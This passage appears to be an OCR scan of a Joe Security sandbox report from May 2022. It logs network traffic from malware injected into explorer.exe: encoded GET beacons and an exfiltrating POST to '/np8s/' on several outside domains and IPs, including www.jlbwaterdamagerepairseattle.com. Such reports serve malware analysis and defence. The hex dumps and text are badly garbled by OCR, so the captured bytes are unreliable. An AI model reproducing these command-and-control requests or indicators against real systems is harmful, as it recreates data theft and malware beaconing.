38 50 48 6a 45 6b 4c 69 59 62 4d 4b 56 35 69 6¢ 61 4b 63 56 48 58 49 56 58 58 79 33 53 69 72 33 63 73 57 4c 69 70 70
4e 6e 42 64 69 38 6d 43 31 75 6e 43 49 53 70 54 6¢ 4f 6e 63 48 48 72 6¢ 4e 46 63 4¢c 68 47 51 4b 58 43 67 4f 71 47 63
30 55 4f 72 6d 63 49 65 34 74 56 6e 52 6d 76 59 54 30 66 47 6¢ 61 77 53 4b 4a 36 67 54 66 34 59 50 48 7238 7a 71 7a
36 48 44 61 47 41 50 49 65 49 32 68 39 48 4d 44 62 4a 36 4a 31 41 6¢ 54 32 72 58 57 4f 56 49 72 41 4d 4d 66 48 7e 6d
69 6f 53 6a 36 69 44 4a 51 50 50 36 74 47 79 36 47 58 67 51 7e 2d 57 42 48 45 72 65 30 6b 75 32 4b 6e 4d 44 31 51 47
63 55 69 54 65 78 75 28 49 6a 64 65 56 56 6a 69 58 5a 6¢ 41 57 61 47 53 42 79 69 4b 4e 6b 33 55 68 72 41 35 73 55 73
7a 66 74 77 47 37 4c 6a 71 41 37 6f 62 4a 6¢ 44 79 66 46 6d 47 55 4a 75 34 4d 41 33 56 30 39 78 6f 58 6a 6d 33 49 74
47 77 52 59 6a 6f 5a 53 39 34 70 70 46 6d 4a 50 67 7a 61 36 36 59 6e 39 4c 63 70 73 52 64 74 6d 48 6¢ 51 47 67 41 33
56 79 7a 32 75 79 38 48 4e 39 77 5a 73 58 56 4e 76 55 53 72 7a 37 74 56 63 68 4d 63 39 54 69 47 33 78 72 57 70 55 44
49 44 32 6f 52 47 5a 30 6¢ 42 38 75 4a 59 63 63 76 74 46 7a 2d 34 48 28 75 72 6¢ 41 79 78 79 6e 66 7a 38 4b 77 49 49
36 38 58 52 41 7a 6a 41 4a 44 6f 79 6a 43 66 6f 43 67 37 6b 58 4a 41 6d 63 59 38 4d 37 71 64 6e 44 61 68 72 4a 4e 35 3
054 39 58 5f 48 5a 36 59 55 69 4f 34 51 62 49 69 57 68 62 6¢ 38 48 50 42 28 49 71 54 54 58 4d 59 41 6e 39 45 34 43 62
73 68 76 3332 33 47 4b 66 31 78 6b 57 44 79 79 4a 7e 62 4b 54 6b 33 34 67 33 72 35 56 55 75 56 46 66 30 45 42 39 5a
3134 6d 77 625379 37 77 56 71 66 55 77 42 4b 59 33 6d 67 52 54 45 6b 35 70 32 6a 39 30 6d 78 49 79 6¢ 42 72 72 69
3559 73 75 62 43 42 77 66 33 4e 4d 35 48 62 33 6a 67 54 73 62 28 34 37 45 79 6¢ 71 43 61 51 70 6¢ 53 30 65 5a 69 68
6f 46 63 76 7a 34 7e 31 55 38 6e 6b 43 70 51 73 5a 76 53 75 78 75 48 54 61 5a 32 4c 38 49 59 57 57 4a 64 6e 73 69 28
76 5a 54 76 6f 66 4c 4b 36 57 45 49 77 67 78 33 6¢ 69 65 66 4a 45 57 64 42 45 6b 54 69 45 73 6a 67 6e 50 7a 48 71 72
6a 33 5a 73 33 30 47 79 4c 46 39 33 78 52 62 49 55 74 51 6e 4e 65 6e 58 55 49 50 48 62 50 7a 37 6e 7a 4d 6b 70 4b 34
51 45 46 78 76 61 6a 43 42 64 5a 32 56 4e 64 4a 33 4f 73 52 54 77 48 6b 76 30 5f 4e 64 33 77 4c 69 61 71 6a 38 74 78
54 7a 4b 4a 28 4d 55 69 75 6e 4b 4a 77 5f 41 72 34 6e 6a 51 79 58 43 63 48 55 59 7a 67 56 6f 64 46 61 52 57 45 6e 51
7a5a 67 28 37 6d 31 76 55 4b 4a 47 6b 52 65 33 71 34 68 66 31 65 4b 4b 38 6d 70 68 5a 75 51 39 32 61 61 43 5a 72
Data Ascii: ZVB=S9TWziuzoosCh4(5qxo-gr1l150020Uj7fkd2vrPu8kwjW0ejDdg9FHg3Wb64nF1(AEqiK2qJWXk~NCcOtFYp
reVFTBu4RnGI5Twq(9CyKCRbFDecmcSKEPSCkF2tuBOTKIjboj20XicjR(jxVAeOnfsfaXsr7sdjLNKHE3_1swdfp6Zy-
|1Au2p4TedSZTIp8TuvLp9Mx8hjgzLsDoA74V5gTLSonl~1t7Ft6IBmKh2n25WtVAT9okkwUncTy9iGLCz6udw8N_
icSTN9KM5tdg17PU(7GyTMw_OP592gXPpAM-1ghQyDBoJPxtTArwlrbkDqUi5vdNkColArHMvRAmMTcJixCfif4gkdb
7tGwbaASEzo1goLCpYLIg_SiBzvc9e692cJVIKNRpbG1j44FIQ(hbBY3pW9Bkr~ex6RJiozNyW60fgT8BARarvevKWy
gBI1Gs4ewEUhJRzbFIW1dVj-codJU1IBeypNQUI6MM6E3q7ILsL~DZKPOUBDOla34yxzO3ud4vTWIR9Okd3qGfXUt97-
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Timestamp LEpee Direction
transferred

May 27, 2022 10104 IN
18:45:15.800419092
CESI}
Session ID Source IP Source Port
41 192.168.2.5 49964

. kBytes . .
Timestamp e Direction
May 27, 2022 10090 ouT
18:45:15.799755096
CEST

Copyright Joe Security LLC 2022

170.39.76.27 80

SO0QWXRBPHJEKLIYbMKV5ilaKcVHXIVXXy3Sir3csWLIppNnBdi8BmC1unCISpTIONCcHHINFCLhGQKXCgOgGcOuOrme
B4t NRMVYTOfGlawSKJI6gTf4YPHr8zqz6HDaGAPIel2h9HMDbJBJ1AIT2rXWOVIrAMMfH~mioSj6iDIQPP6tGYy6GXgQ~-
WBHEre0ku2KnMD1QGcUiTexu(ljdeVVjiXZIAWaGSByiKNk3UhrA5sUszftwG7LjgA70bJIDyfFmGUJu4MA3V09xoXjm3ItG
WRYjoZS94ppFmJPgza66Yn9LcpsRdtmHIQGgA3Vyz2uy8HNIwWZsXVNvUSrz7tVchMc9TiG3xrWpUDID20RGZ0IB8uJ
YcevtFz-4H(urlAyxynfzZ8Kwl168XRAzjAJDoyjCfoCg7kXJAmcY8M7qdnDahrINS0T9X_HZ6YUiO4QbliWhbI8HPB
(IgTTXMYAN9E4Cbshv323GKf1xkWDyyJ~bKTk34g3r5VUuVFOEB9Z14mwbSy7wVgfUwBKY3mgRTEK5p2j90mxlylB
ri5YsubCBwf3NM5Hb3jgTsb(47EylqCaQplS0eZihoFcvz4~1U8nkCpQsZvSuxuHTazZ2L 81YWWJdnsi(vZTvofLK6
WEIwgx3liefJEWdBEKTIEsjgnPzHqrj3Zs30GyLF93xRblUtQnNenXUIPHbPz7nzMkpK4QEFxvajCBdZ2VNdJ30sRT
wHkv0_Nd3wLiaqj8txTzKJ(MUiunKJw_Ar4njQyXCcHUYzgVodFaRWENQzZg(7m1vUKJIGkRe3g4hfleKK8mphZuQ92
aaCZr_iZyy6PnkZK(dsgOp6BYlclwewIMGdM~pJIrmpsArEIinXhs4jGZNUEGqOyYQQcy_c3sIRu9AQt3Hy2ceOTHFm2w-
ZaONJOT1TW4d9eLOAGtY3JIppo06aM7_npu-31k9dNBVXj5VCiVFevK94RZTKE95Txvznce24p0vhvRdObEd5QtPVZf_F-
iX9sSGUQqJIvivwFUNhsZFBXsMDKOy9jLrAOG8aJ4Ha00eE~alnMKrh1BNg8dhZGyFwPgfOr3p4eMhbz7QeoS
sFHU2G7AsH35a92bAKYxbPeOa5ULDj4FYBntIN1l(hjpbwpxpvgNhchql61inugOwxXg_DtHg6gugowAcAFpjm5gELQ
KKwyXr8Xs8ljas(YEutQea4ZphQ3vsrXAdmQWVwZ~-cEDnrpRhm18bJqUHRK8sHin5V2G9qo8HUN91J-RIVqop3-bz
u87ExUn39Ij-HTcoNxW6y19DZjAZnW306HtOWL5R7WcukjngG7P5vT5QBBGsFdAfhOgm170zUMASmM1ZxMUDTMqvgll
Y XLyDf0f4liXS2vv8c8s004jxwlgJj(uQTInZBzQiOirVkldrdJF2904J-wWhURHSmMJREQj3RINOzh8CzrguOltM44AAr819Bo(J
1WXhGVXrijm3LXBjgeBW8wSEmM1RkDQ50iKiJmcZQUXA_(jhVoX2epEEHrzYY6JyKE5gXxEGE2NIm9ezDkn8Pq~6VyD3
INWh4fYssKRIMRV50vXrMHYi2xg3mPQPLIYqUV7I8VV5p2pDw8ginsWuz4L BANRe3HW6IK3tW4jfd6tSLGyyDtrouB
00xkYC98gQ5WPSMRzt(cnPT9UmlyXsejnx74CaKU~gdlomXTX3BR5Ik1A1lyrV3xw2RoODZbvOUSV20eMCLbEitQN4x
hNkyDI2NKX4N~6¢_~CvK8aCXjGeYPJINIAxzTeix2dpObjAclUXh_1KZmwgTD(9VAQSQOUOD-W3gKIIEzm3ulYWKFV5
vS7709NBW66jh4MPrHvSAiemOCJIWOxsmzEOLmEroavcayLtBwuYb7xhfvnDKDc4SGvAwa6c9zwdDHgXtjLzgEXFul7
M3dZ3GEwvc1sB5qIBRed3IPRuswMafRw(vGXbP6Cj_HhIMUO9HIJYiz-5uE0a6a9zuZ5AD6ESLAjydSEIKBUNN7AMWW
fiXLF30JdFes2ForyST-IV3X0IINDgO_lj3CH4bpvGdqOk22Gri4d7Dfo3pyBVOWed72w5SMLSz_uEFIwbYD8gfLPM
0e4CMt37IpRV7bt_Jx~Ncm3FgcwrErgJ~Fj2R-Dk39K3DWqyFekN55HPGIMuUSNEYN4LK95DCQtnvtlynSFgIEILI2s
2jCD~WQzquS80-0dmZVnqaSDKSzRs_(hs3CgaXWXIMxOSvkHIQqLDY (Z3Ljc0_Evy9P22UcWvctU8vd5Ysn4pSW2Bk
0OjOYmy0rXu8SaHxcm4WDEPhwsKDctAaOIF7j414AsyXd~fikadvFriVSVOk5NhGUhitWBYeLa6S7GcE3zQ90D6eovu
Emg8kDnaqGpJtAJGNt(HnnfudOM9o4fv3Evr6e9QUPFVFWr2hE11Vxar5BeNVDXZYMgjnsl5p1f4-Y1taed2GN8AYFR
bOWI3iblhK5FclJEhzaQh0ZjljWiglgnjTIFbvM_D_6N(202nFDaCza86K98H2DayiRGMfxHte03Bxleu2v7E_plpj9MxkeLpsF5
0Zf2VtQCPhFXUbVOLMYS8LFTXildbzuRY6QyVvBtQ7E5W1UIr1Vx8~dmk2y1tZ9Pn0yhgzj8BOH3_yKRmFxftzNIL~T
rCcicLtYoH4gSW6S(00iFduThxF6Znlj4dJfO_~7VNmMZ0CIDHGAYXLL6HKelE3aoE_TkEzmagbeo4xOmxWOvVPfQYfal
ONILO3X0jkl-6d6KYO62e0ZrhITR6MEDdIGmgn4zCkviea0ebpx3GRJILFIC36WJIcWQOgSUnEwgFAplvAoynnOcMSUm
WGYWJYDTy1YilVdyTCFjp3en0VIkSTU2H60-6AWUB5f65IFrnQJQ3uXMzMgYiUwFkrnMZiZk2nraaEYF602Dg5gPaP
04j5Mzz1P4uvS8mejoYMQkiaOpHSxi3VvsIHP2zAdoD3cnrrwgOizrowJEOBD7iiRLVb5RDQXxhNBs471N47R5UGEy
6JINacNhlyU2pvdY8NNyS9CPgwbluwbtrA9ziOnf_r6 SBRbba86DgRi3UdW~BUe7FI3NRCcALI6tdWOs6FQAV94ASe6G
ulgZr3BKOUAK180bDHXW/(Cg1lZCC5H(HC7Z-90jVDIXuC1KIQJY1seNITpf3IDRIN8Opar~eSZyKKAEI6VjJZ2USX1
m7E3uHa8oBov(fGYuO24jXukeQPbjlf4QETol7IEfdXYaRkYZgqip3NBiAwukoQdxgCoKeAphv8BEBONQOOYRIVCIdN
JIpLUWICMx33vfd3Uk1hNHAZSRI6IbOHePrB5elAkYzgZulbg82uFhsQw50f_tOjOKvZOWq9xui8q3vv4l8v~J(_
SeSN4ow_u8V-mOPf1PQVyeY9uZX6lZdYJoBC(pGirX8_Co(Ra_OniGduPZABKh975nPcE_PtalHNnKBAUTtEQOJ~hxx
STWpS50d53aGWHjjOMsx1c~aPK(WuVwY0JhRTI9yjWGbwkMgbPEIX64vHBSUuo8T7EhSCh_9RDC3FFVdicsUjkqlLkb
ucLKOP1c

HTTP/1.1 404 Not Found

Connection: close

content-type: text/html

content-length: 252

content-encoding: gzip

vary: Accept-Encoding,User-Agent,User-Agent

date: Fri, 27 May 2022 16:45:15 GMT

server: LiteSpeed

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 Oe 82 40 10 05 fb fb 8a 95 5e 17 Oc e5 66 13 61 97 dc 25 27 10 b3 14
f4 5¢ 42 25 51 el ff 0d d2 58 be 99 79 74 92 ae b6 bl 57 f0 76 8f d0 Of 55 Oc 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51

db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3¢ a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39

c1 3b bd b6 f4 59 d3 04 ¢3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 Oc 00 dO de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf

4b a2 59 df f7 7c 1b b3 78 30 14 68 5d el ec 6f 4b d0 1b e8 9d 05 84 {8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09
2b 5e ¢4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 7 b4 e3 b2 d1 77 2 77 89 b4 b3 d1 {7 08 f1 f5 b1 e3 1a c9 00
00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00

Data Ascii: L@"fa%"\B%QXytWvU5dg aQMe”B,s"<#ETu2_9;Y# )2n%*KY|xOh]oK#vSX85{n+40rG?2ww

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?4hM4=04B0f&zVB=d/nstEfJj6EqHIa063FJ0s9IGUqA95KQHoqtaktjr9/p2jHWIkCQ3yhCE01SUrSQk5nZI HTTP/
11

Host: www.jlbwaterdamagerepairseattle.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp A Direction
May 27, 2022 10105 IN
18:45:15.942406893
CEST
Session ID Source IP Source Port
5 192.168.2.5 49872
kByt:
Timestamp yees Direction
transferred
May 27, 2022 9502 ouT
18:42:49.083741903
CEST
May 27, 2022 9503 IN
18:42:49.263252020
CEST
Session ID Source IP Source Port
6 192.168.2.5 49873
kB
Timestamp ytes Direction
transferred

Copyright Joe Security LLC 2022

Destination IP

207.174.214.35 80

137.220.133.198 80

Data

HTTP/1.1 404 Not Found

Connection: close

content-type: text/html

content-length: 584

date: Fri, 27 May 2022 16:45:15 GMT

server: LiteSpeed

vary: User-Agent,User-Agent

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3¢ 54 49 54 4c 45 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6e 70 38 73 2f 3f 34 68 4d 34 3d
6f 34 42 30 66 26 61 6d 70 3b 7a 56 42 3d 64 2f 6e 73 74 45 66 4a 6a 36 45 71 48 49 61 6f 36 33 46 4a 30 73 39 47 75
71413935 4b 5148 6f 71 74 61 6b 74 6a 72 39 2f 70 32 6a 48 77 6¢ 6b 43 51 33 79 68 43 45 6f 31 53 55 72 53 51 6b 35
6e 5a 6¢ 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c
493e 77 77 77 2e 6a 6¢c 62 77 61 74 65 72 64 61 6d 61 67 65 72 65 70 61 69 72 73 65 61 74 74 6¢C 65 2e 63 6f 6d 3c 2f
49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE>
</HEAD><BODY><H1>Not Found</H1>The requested URL /np8s/?4hM4=04B0f&amp;zVB=d/nstEfJj6EqHIa063FJ0s9
GugA95KQHoqtaktjr9/p2jHwIkCQ3yhCE01SUrSQk5nZl was not found on this server.<HR><I>www.jlbwaterdamage
repairseattle.com</I></BODY></HTML>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?zVB=/pe30f3KthIHX+AZdE400Bjh240MUm2DhTWzf9+6IBsOaTWyqOSb4stDRDmzQmtt1180&4hM4=04B0f
HTTP/1.1

Host: www.halecamilla.site

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 16:42:49 GMT

Server: nginx/1.19.10

Content-Type: text/html

Content-Length: 583

Last-Modified: Tue, 15 Mar 2022 21:44:23 GMT

Accept-Ranges: bytes

Vary: Accept-Encoding

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6¢ 65 3e 0a 20 20 20 20 20 20 20 20 2e 6¢
6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6¢ 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64
65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6¢ 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69
75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61
6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6¢ 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 7
4 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6¢ 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20
20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72
6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65
28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20
6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39
50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6¢ 61 6e 67 75 61 67
65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64
69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6€ 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70
74 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6¢ 6f 61 64 65 72 22 20 69 64
3d 22 73 6b 2d 6¢ 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-
radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; }
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script lang
uage="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd
.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></htm|>

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data
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Timestamp

May 27, 2022
18:42:54.849509001
CEST

May 27, 2022
18:42:55.214488029
CEST

Session ID

7

Timestamp

May 27, 2022
18:43:00.507277012
CEST

May 27, 2022
18:43:00.749012947
CEST

Session ID

8

Timestamp

kBytes

transferred Direction
9504 ouT
9504 IN
Source IP Source Port
192.168.2.5 49879
kB!
A Direction
transferred
9513 ouT
9513 IN
Source IP Source Port
192.168.2.5 49889
kB:
s Direction
transferred

Copyright Joe Security LLC 2022

Destination IP

162.0.230.89 80

Destination IP

170.39.76.27 80

Data

GET /np8s/?4hM4=04B0f&zVB=0AQ8ZAk71VYHsoGBQeS0cLLvyBMKMIAsSKO0ta2CkcQgnl+jMatCDHwWZEkBjakU6F
hLRf HTTP/1.1

Host: www.ratebill.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 27 May 2022 16:42:55 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 31 0d Oa 2e 0d Oa 30 0d Oa 0Od Oa
Data Ascii: 1.0

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?zVB=+1vSQSU4VFPBNKLBEMH3DU8MRg7YeugbcMOylP3MOivye7s4zRc3erRZEMINrnM1ldbg&4hM4=0
4BOf HTTP/1.1

Host: www.topings33.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 16:43:00 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 68 72 3e Oa 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>

Destination Port Process

C:\Windows\explorer.exe

Data
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kBytes

Timestamp e Direction
May 27, 2022 9524 ouT
18:43:24.507529020
CEST
May 27, 2022 9525 IN
18:43:24.652365923
CESIl
Session ID Source IP Source Port
9 192.168.2.5 49890
. kBytes . .
Ti Di
imestamp transferred irection
May 27, 2022 9538 ouT
18:43:24.664593935
CEST

Copyright Joe Security LLC 2022

170.39.76.27 80

Data

POST /np8s/ HTTP/1.1

Host: www.jlbwaterdamagerepairseattle.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.jlbwaterdamagerepairseattle.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 53 39 54 57 7a 6a 54 34 6d 34 78 55 56 49 6a 61 73 47 34 71 30 72 6¢ 77 6d 4a 77 72 34 4a 34
347439 4d 76 34 4b 57 39 74 39 4e 74 79 31 52 38 31 78 74 34 39 46 58 46 37 45 76 32 70 58 42 30 28 41 74 37 69 4b
36 71 49 56 6d 76 39 73 4d 53 73 6e 41 6f 70 2d 56 39 53 42 76 38 56 6d 62 59 35 51 63 55 28 2d 69 69 4b 52 56 62 47
6¢ 51 6d 4e 68 38 31 4d 4d 43 69 4e 57 39 79 63 45 66 74 49 6e 7e 31 6a 7a 49 58 69 73 76 52 77 69 42 55 49 35 61 67
4c 73 6551 4238 72 6d 32 74 66 31 4e 69 62 63 33 2d 4a 73 33 76 37 70 36 4e 43 2d 4f 33 37 67 69 6f 54 58 5a 53 5a
55 7a5a 35 4e 7572 72 74 39 4e 31 73 6d 52 32 7a 49 38 44 31 4b 4d 46 31 6f 44 4b 4a 42 6f 54 76 7e 31 70 57 45 35
37 32 42 6e 58 79 67 69 79 73 53 50 4e 42 54 5f 6b 43 6d 51 55 37 54 7a 79 6d 69 47 4c 79 7a 36 76 2d 77 38 52 5f 69
64 4b 54 6f 4e 36 4d 6f 5f 45 32 33 4¢ 50 4e 31 62 47 73 58 4d 4e 6b 4f 50 67 57 32 69 6a 6¢ 70 51 77 2d 6e 50 39 51 36
48 68 72 63 50 77 6f 53 41 71 74 6f 37 62 64 44 71 56 50 35 74 30 49 6b 56 67 31 41 36 48 4d 73 7a 59 6d 55 38 4a 66
3043 66 38 52 59 6e 76 64 62 6a 78 47 77 72 4b 41 6b 49 7a 6f 6b 41 6f 4c 6d 39 59 49 34 67 5f 4¢c 79 41 34 76 4f 55 52
39 4f 7558 44 32 7a 79 53 51 78 4a 46 47 6d 48 73 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: ZVB=S9TWzjT4m4xUVIjasG4q0rlwmJIwr4J44t9MvAKW9ItINty1R81xt49FXF7Ev2pXBO(At7iK6qIV
mv9sMSsnAop-VISBv8VmbY5QcU(-iKRVbGIQmNh81MMCiINW9ycEftin~1jzIXisvRwiBUI5agLseQB8rm2tf1Nibc3-
Js3v7p6NC-037gioTXZSZUzZ5Nurrt9N1smR2zI8D1KMF1oDKJIBoTv~1pWE572BnXygiysSPNBT_kCmQU7TzymiG
Lyz6v-w8R_idKToN6Mo_E23LPN1bGsXMNKOPgW2ijlpQw-nP9Q6HhrcPwoSAqto7bdDqVP5t0lkVg1A6HMszY mU8Jf
0Cf8RYnvdbjxGwrKAklzokAoLm9Yl4g_LyA4vOUR9OUXD2zySQxJFGmHSsQ).

HTTP/1.1 404 Not Found

Connection: close

content-type: text/html

content-length: 252

content-encoding: gzip

vary: Accept-Encoding,User-Agent,User-Agent

date: Fri, 27 May 2022 16:43:24 GMT

server: LiteSpeed

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 Oe 82 40 10 05 fb fb 8a 95 5e 17 Oc e5 66 13 61 97 dc 25 27 10 b3 14
f4 5¢c 42 25 51 el ff 0d d2 58 be 99 79 74 92 ae b6 bl 57 f0 76 8f d0 Of 55 Oc 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51

db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3¢ a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39

c1 3b bd b6 f4 59 d3 04 ¢3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 Oc 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a le bf

